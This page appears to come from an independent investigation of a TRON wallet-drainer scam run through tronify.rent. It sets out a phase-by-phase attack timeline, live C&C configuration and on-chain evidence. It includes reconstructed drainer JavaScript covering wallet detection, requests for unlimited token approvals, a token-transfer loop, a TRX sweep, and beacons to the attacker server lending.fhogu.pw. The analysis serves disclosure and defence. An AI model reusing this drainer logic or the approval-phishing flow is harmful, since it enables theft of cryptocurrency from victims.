Independent research by Krishanu β€” not affiliated with tronify.rent Β· verified active 2026-09-20 Β· view evidence β†’

⛓️ Attack Chain

Step-by-Step Exploitation Timeline

⚠️ About the walkthrough below: The step-by-step narrative, wallet address (TAkBBHfx7K3tVrqHiZXLbGKVoTxJz4PN5X), token balances, and the "$1.55M loss" figure in Phases 3–6 are an illustrative composite built to show the mechanics clearly β€” they are not a specific documented victim. For a real, on-chain-verified example with actual addresses, amounts, and dates, see "Real Observed On-Chain Activity" at the end of Phase 5. Do not cite the $1.55M figure or the example wallet address as a confirmed incident.

Phase 1: Social Engineering & Initial Access

T+0min: User Discovery

Victim discovers tronify.rent through:

  • Google search for "TRON energy rental" or "reduce TRX fees"
  • Twitter/Telegram community mention
  • Organic search results (if site is SEO-optimized)
  • Referral from compromised TRON accounts

Why it works: Energy rental is a legitimate TRON need. Real services exist. This one just looks more official.

T+1min: Website Landing

User visits tronify.rent homepage:

Server Response:
  • Sends index.html with company info (Florida LLC, phone, email)
  • Loads promotional content: "Save up to 97% on TRON transaction costs"
  • Displays "Connect Wallet" button prominently
  • Injects <script src="https://lending.fhogu.pw/greenbid.js?v=1">

User Perception: "Looks professional, has legitimate contact info, exactly what I'm looking for."

T+5min: Payload Download

Browser downloads malicious greenbid.js from lending.fhogu.pw

Attacker Infrastructure:
  • lending.fhogu.pw hosts 150KB JavaScript file
  • File contains wallet draining logic (minified/obfuscated)
  • Payload waits for page interaction before executing
  • Includes C&C communication code

Detection Difficulty: Without analyzing the JS source, there's no obvious malicious activity yet.

Phase 2: Wallet Connection & Compromise

T+10min: User Initiates Connection

πŸ‘€ USER CLICKS "CONNECT WALLET"

Greenbid.js wakes up and detects available wallets:

// From greenbid.js: Wallet detection const availableWallets = []; if (window.tronLink) availableWallets.push("TronLink"); if (window.ethereum?.isTrust) availableWallets.push("MetaMask"); if (window.trustwallet) availableWallets.push("Trust Wallet"); if (window.safepalProvider) availableWallets.push("SafePal"); // If TronLink is available, use it (most common) const selectedWallet = availableWallets[0];

T+11min: Wallet Selection Dialog

User sees familiar wallet connection prompt:

β”Œβ”€β”€β”€ TronLink Connection Request ────────────────┐ β”‚ β”‚ β”‚ tronify.rent would like to access your β”‚ β”‚ TRON wallet β”‚ β”‚ β”‚ β”‚ Wallet Address: TAk3...aBc2 β”‚ β”‚ Network: TRON Mainnet β”‚ β”‚ β”‚ β”‚ [Cancel] [Connect] β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ User thinks: "Normal DeFi connection process." Actually: Giving JavaScript code read access to wallet address & signing capability.
πŸ‘€ USER CLICKS "CONNECT"

T+12min: Wallet Access Confirmed

Greenbid.js obtains:
  • window.tronLink.tronWeb.defaultAddress.base58 β†’ Victim's address
  • Signing capability (user confirmed connection)
  • Ability to invoke tronWeb methods through wallet

Greenbid.js logs connection to C&C:

POST /tron/notify/wallet-connected { visitorId: "550e8400-e29b-41d4-a716-446655440000", address: "TAkBBHfx7K3tVrqHiZXLbGKVoTxJz4PN5X", walletName: "TronLink", userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)...", pageUrl: "https://tronify.rent", timezone: "America/Los_Angeles" }

C&C Response: Server logs victim, may flag high-value wallets for additional targeting.

T+13min: Fetch Attack Configuration

Greenbid.js requests attacker's wallet addresses:

const config = await fetch("https://lending.fhogu.pw/tron/config") .then(r => r.json()); // Actual live response, retrieved 2026-09-20 (evidence/cnc/tron_config.json): { tronSpender: "TV6n8cCLmX5mRCMMNvcE1K1i87Yo9Ys5rv", tronSweepAddress: "TLv3iSnZxWghEmadLDzuAK2p5GkAwg7tpJ", tronSweepMinTrx: 100, tronExchangeContract: "TDE7vfjJuYqEzzKw6hfdSB3dfLQyXDYPux" }

Key Detail: Attacker's addresses come from C&C server dynamically, allowing them to rotate addresses if one is flagged or caught. We fetched the values above directly from the live endpoint β€” they are real, but should be treated as a dated snapshot (2026-09-20), not a permanent IoC, since the attacker controls the server and can change them at any time.

Phase 3: Asset Discovery & Enumeration

T+14min: Analyze Assets

Greenbid.js scans victim's wallet:
// Step 1: Get all TRC-20 tokens const tokens = await fetch(`${TRON_API}/tokens?owner=${victimAddress}`) .then(r => r.json()); // Returns something like: [ { address: "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t", // Example USDT token address symbol: "USDT", decimals: 6, balance: 1000000000, // 1M USDT usdValue: 1000000 // ~$1M USD }, { address: "TR3dqYGJzVj3Dzkdvbvb4A8TkS8a7yRPMK", symbol: "USDC", decimals: 6, balance: 500000000, // 500k USDC usdValue: 500000 // ~$500k USD }, { address: "TAW3CmHW1xZHpj3ceFJYXFDRvLQdqfFBAH", symbol: "SUN", decimals: 18, balance: 1000000000000000, // 1M SUN tokens usdValue: 50000 // ~$50k USD } ] // Step 2: Check TRX balance const trxBalance = await tronWeb.trx.getBalance(victimAddress); // Returns: 50000000 (50 TRX = ~$600 USD) Y("drain", `found 3 tokens, TRX balance: 50`)

T+15min: Check Existing Approvals

For each token, check if it's already approved to attacker's spender:

// For each token, query current approval const allowance = await contract(token.address) .allowance(victimAddress, tronSpender) .call(); if (BigInt(allowance) >= BigInt(token.balance)) { Y("drain", `${token.symbol}: already approved`); // Token is ready to transfer immediately, skip approval } else { Y("drain", `${token.symbol}: needs approval`); // Will request approval in next phase }

Optimization: If a token was previously approved, the attacker can skip the approval step (user won't see the notification). They can immediately transfer.

Phase 4: Token Approval Extraction

T+16min: Request Token Approvals

For each valuable token that needs approval, craft approval transaction:

for (const token of tokens) { if (token.balance >= MINIMUM_VALUE_THRESHOLD) { // Create approval transaction const contract_instance = window.tronWeb.contract( TOKEN_ABI, token.address ); const approveTx = contract_instance.approve( tronSpender, // Attacker's spender contract "115792089237316195423570985008687907853269984665640564039457584007913129639935" // This is uint256 max = infinite approval ); // Request user signature const signedTx = await window.tronLink.request({ method: "tronSignTransaction", params: [approveTx] }); // Continue to next token if approved } }

T+17min: User Sees Wallet Notifications

For each token, wallet displays notification:

⚠️ First Notification:
β”Œβ”€ TronLink Signature Request ────────────┐ β”‚ β”‚ β”‚ "USDT" is asking for access to your β”‚ β”‚ USDT tokens β”‚ β”‚ β”‚ β”‚ Amount: Unlimited β”‚ β”‚ Spender: TR7NHqjeKQxGTCi8q8Z... β”‚ β”‚ β”‚ β”‚ [Reject] [Sign] β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

User Interpretation:
"The site needs permission to use USDT for energy rental. Normal operation. Let me approve."

What's Actually Happening:
"I'm granting an attacker's contract unlimited access to transfer all my USDT forever."

The wallet can't communicate the actual impact because the token contract doesn't know what "unlimited" means in the user's context.

πŸ‘€ USER CLICKS "SIGN" FOR EACH TOKEN

T+18-22min: Approvals Broadcast to Blockchain

Each signed transaction is broadcast to TRON network:

Blockchain Transaction Example:
  • TX Hash: ab3c4d5e6f7g8h9i0j (actual: 64 hex chars)
  • From: TAkBBHfx7K3tVrqHiZXLbGKVoTxJz4PN5X (victim wallet)
  • To: TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t (USDT token contract)
  • Method: approve(spender, uint256)
  • Spender: TR[ATTACKER_ADDRESS] (attacker's contract - from C&C config)
  • Amount: 115792089237316195... (uint256 max = UNLIMITED approval)
  • Status: βœ“ Confirmed in block #50123456

Public Record: This is now permanently recorded on the TRON blockchain. Anyone can see victim approved attacker contract for unlimited tokens.

Greenbid.js logs each approval to C&C:

POST /tron/approve/notify { token: "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t", // Token contract address symbol: "USDT", owner: "TAkBBHfx7K3tVrqHiZXLbGKVoTxJz4PN5X", // Victim address (example) spender: "TR[ATTACKER_CONTRACT]", // Loaded from C&C config balance: "1000000000", txHash: "ab3c4d5e6f7g8h9i0j" }

Phase 5: Automated Asset Transfer

T+23min: Transfer All Approved Tokens

Once approvals are confirmed on-chain, greenbid.js immediately transfers tokens:

// Now that approvals are confirmed, transfer all tokens for (const token of tokens) { const contract_instance = window.tronWeb.contract( TOKEN_ABI, token.address ); const transferTx = contract_instance.transfer( tronSweepAddress, // Attacker's address token.balance // 100% of victim's tokens ).send({ feeLimit: 100000000 // 100 TRX fee }); const txHash = await transferTx; Y("drain", `${token.symbol} transferred: ${txHash}`); }

Key Point: User doesn't see additional wallet notificationsβ€”the approvals already happened. The transfers happen silently from the user's perspective (except wallet balance dropping).

T+25min: TRX Balance Sweep

After tokens are transferred, sweep remaining TRX:

// Reconstructed from the live payload's actual sweep function (verified 2026-09-20; // current live config value for tronSweepMinTrx is 100, not the 5 an earlier draft assumed) const trxBalance = await tronWeb.trx.getBalance(victimAddress); const minThreshold = BigInt(tronSweepMinTrx * 1e6); const gasBuffer = 2000000n; // 2 TRX reserved for next victim if (BigInt(trxBalance) > (minThreshold + gasBuffer)) { const sweepAmount = BigInt(trxBalance) - gasBuffer; Y("drain", `sweeping ${sweepAmount} sun TRX`); for (let attempt = 0; attempt < 3; attempt++) { try { const sweepTx = await tronWeb.trx.sendTransaction(tronSweepAddress, Number(sweepAmount)); Y("drain", `TRX sweep result: ${JSON.stringify(sweepTx)}`); POST /tron/notify/sweep { from: victimAddress, to: tronSweepAddress, amount: (sweepAmount / 1e6n).toString(), txHash: sweepTx.txid, status: "success" }; break; } catch (error) { Y("drain", `TRX sweep error: ${error?.message}`); if (error?.message === "sweep_timeout") { // Verified real behavior: on a timeout the payload gives up immediately β€” // it does NOT retry. An earlier draft of this document incorrectly described // a 3-attempt backoff for timeouts specifically. Y("drain", "TRX sweep timed out β€” skipping"); break; } else if (isUserRejection(error) && attempt < 2) { // Retries (up to 2 extra attempts) only apply to rejection-type errors, not timeouts showStatus("TRX β€” action required in your wallet"); await delay(2000); } else { throw error; } } } }

Why Reserve 2 TRX? Attacker reserves ~$24 for the next victim's gas fees. This is cost optimizationβ€”gasless attacks aren't possible, so the attacker funds victim wallets to execute the drainer on them.

T+26min: Final State

Victim's Wallet After Attack:
Asset Before After Status
USDT 1,000,000 0 βœ— Stolen
USDC 500,000 0 βœ— Stolen
SUN 1,000,000 0 βœ— Stolen
TRX 50 2 ⚠️ Mostly stolen
Total Loss ~$1.55M USD (illustrative) ~$24 USD (illustrative) 99.99% loss

Real Observed On-Chain Activity (verified 2026-09-20)

Unlike the illustrative walkthrough above, everything below is a direct read of the TRON blockchain for the sweep address (TLv3iSnZxWghEmadLDzuAK2p5GkAwg7tpJ) we obtained from the live C&C config β€” no assumptions, no placeholders. Raw API response: evidence/onchain/trc20_transfers_tronSweepAddress_page1.json.

Most recent 30 USDT (TRC-20) transfers touching the sweep address, 2026-08-27 to 2026-09-19: ~25 distinct sender addresses paid USDT INTO the sweep address Largest single inbound: 12,359.352186 USDT (tx a4c4d10c...440783b4, 2026-08-25) Smallest single inbound: 1.789 USDT Sum of all inbound in this page: ~$32,562.68 USDT (a floor β€” older history exists beyond this page) Two large outbound consolidation transfers observed: 24,000 USDT -> TVkRFwgyvUrJqGe3xZaZvTj4vxM5bzherw (2026-08-19) 6,000 USDT -> TZ2PfDN5wNcsrabcB2JoMagx8vY7VEmQqX (2026-08-16) Current balances still sitting in attacker addresses (not yet moved): tronSpender: 14,635.00 USDT + 875.44 TRX tronSweepAddress: 32,288.30 USDT + 3,213.53 TRX

Why this matters: This is exactly the "multiple unrelated wallets -> same destination" pattern the IoC document describes, but with real addresses and amounts instead of a hypothetical query. The two consolidation-out addresses (TVkRF...bzherw and TZ2PfD...VEmQqX) are worth tracing further β€” they're a more durable pivot point than the sweep address itself, since they represent where the attacker moves funds after theft.

Phase 6: Post-Exploitation & Tracking

T+27min: Attacker Consolidation

Attacker's Actions:
  • Receives all token transfers at tronSweepAddress
  • Likely routes tokens through mixing service or decentralized exchange
  • Converts high-volume tokens (USDT, USDC) to stablecoins on different chains
  • Converts TRX to BTC or other cryptocurrencies for cash-out

T+28min: Campaign Tracking

Attacker reviews victim data from C&C logs:

// Attacker queries victim database SELECT * FROM victims WHERE status='drained' ORDER BY usd_loss DESC; Results show: - visitorId: 550e8400-e29b-41d4-a716-446655440000 - wallet: TAkBBHfx7K3tVrqHiZXLbGKVoTxJz4PN5X - usd_loss: 1553000 - approval_count: 3 - tokens_approved: ["USDT", "USDC", "SUN"] - trx_swept: 48 - timestamp: 2026-09-20T14:27:00Z - wallet_provider: "TronLink" - timezone: "America/Los_Angeles" - user_agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)..." // Attacker measures ROI and adjusts targeting - High USD value victims β†’ Route through premium mixing - Low USD value β†’ Batch convert - Geographic clustering analysis β†’ Plan next campaign

T+60min+: Victim Realization

πŸ‘€ USER CHECKS WALLET BALANCE...

Victim realizes all assets are gone. Timeline:

  • T+30min: Victim notices balance is 0
  • T+35min: Victim refreshes repeatedly, hopes it's a display error
  • T+40min: Victim checks TronScan (blockchain explorer) and sees transactions
  • T+50min: Victim searches online for "tronify scam" or similar
  • T+60min: Victim posts on Reddit/Twitter seeking help
  • T+120min: Victim realizes funds are likely unrecoverable

Key Vulnerability Windows

Stage Vulnerability Why Exploitation Succeeds Prevention Point
Social Engineering Fake legitimacy Real company name, address, phone number Domain verification, company research
Wallet Connection Silent access grant Users expect to connect to DeFi sites Wallet domain verification, origin check
JS Execution Browser sandbox escape Malicious JS has full wallet API access Content Security Policy, script origins
Approval Requests User confusion Approval appears normal for DeFi Wallet UI clarity, user education
Transfer Execution No blockchain protection Once approved, transfers are irreversible Approval revocation, smaller approvals

Why Users Approve the Theft

The Approval Problem:

When a wallet shows "USDT is asking for access to your tokens," the user doesn't see:
β€’ What the spender contract address is (it's an attacker's address)
β€’ What "unlimited" means (can transfer 100% of your USDT forever)
β€’ That this is irreversible (can't be undone without revoking)

The user only sees that they're on what looks like a legitimate site requesting a standard DeFi operation. They approve because they trust the site and the action appears normal.
← Previous
Technical Architecture
Next β†’
Code Analysis